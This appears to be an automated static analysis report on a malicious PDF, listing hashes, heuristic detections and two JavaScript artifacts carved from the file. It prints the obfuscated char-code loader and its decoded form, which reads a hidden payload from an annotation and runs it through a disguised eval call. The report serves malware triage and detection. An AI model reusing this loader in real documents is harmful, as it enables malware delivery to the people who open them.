Malicious PDF — malware analysis report

Static analysis result for SHA-256 c4618fcfae8e60f2…

MALICIOUS

PDF

20.0 KB First seen: 2026-05-08
MD5: 3da8a4b2f16738510c3f3ef4af6ef8d4 SHA-1: bc4917ff8c529e1ec6d84f165f5526e667251f7d SHA-256: c4618fcfae8e60f2da119dd8e6c21624d8dfc3269609929ede4e321239c09b62
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded and obfuscated JavaScript, indicated by multiple heuristic firings related to PDF JavaScript and string manipulation. The extracted JavaScript streams, particularly 'numeric_charcode_stage_000.js', are likely responsible for downloading and executing a second-stage payload. The obfuscation and use of JavaScript within a PDF are common techniques for delivering malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • syncAnnotScan annotation-staging primitive low PDF_FOXIT_SYNCANNOTSCAN
    PDF JavaScript calls syncAnnotScan() — a no-op annotation-enumeration primitive used by exploit-kit JavaScript to stage payload reads from annotation /Subject fields before eval(). Not a vulnerable sink itself; rarely seen in legitimate PDFs. (identified after JavaScript deobfuscation)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0xE1 1814 bytes
SHA-256: b771a67801a2a024471cb29d8ce119b13dc98b5c56ef213dece7e1a5cc7b8bed
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,112,114,32,61,32,110,117,108,108,59,13,10,118,97,114,32,102,110,99,32,61,32,39,101,118,39,59,13,10,118,97,114,32,115,117,109,32,61,32,39,39,59,13,10,13,10,97,112,112,46,100,111,99,46,115,121,110,99,65,110,110,111,116,83,99,97,110,40,41,59,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,33,61,32,48,41,32,123,13,10,9,118,97,114,32,110,117,109,32,61,32,49,59,13,10,13,10,9,112,114,32,61,32,97,112,112,46,100,111,99,46,103,101,116,65,110,110,111,116,115,40,13,10,9,9,123,13,10,9,9,9,110,80,97,103,101,58,32,48,13,10,9,9,125,13,10,9,41,59,13,10,13,10,9,115,117,109,32,61,32,112,114,91,110,117,109,93,46,115,117,98,106,101,99,116,59,13,10,125,13,10,13,10,118,97,114,32,98,117,102,32,61,32,34,34,59,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,62,32,51,41,32,123,13,10,9,102,110,99,32,43,61,32,39,97,39,59,13,10,9,118,97,114,32,97,114,114,32,61,32,115,117,109,46,115,112,108,105,116,40,47,45,47,41,59,10,10,9,13,10,9,102,111,114,32,40,118,97,114,32,105,32,61,32,49,59,32,105,32,60,32,97,114,114,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,13,10,9,9,98,117,102,32,43,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,34,48,120,34,43,97,114,114,91,105,93,41,59,13,10,9,125,10,9,102,110,99,32,43,61,32,39,108,39,59,13,10,125,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,62,61,32,50,41,10,123,13,10,9,97,112,112,91,102,110,99,93,47,42,42,47,40,98,117,102,41,59,13,10,125,13,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
numeric_charcode_stage_000.js deobfuscated-js numeric char-code string decoded JavaScript at offset 0xEF 469 bytes
SHA-256: 4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}

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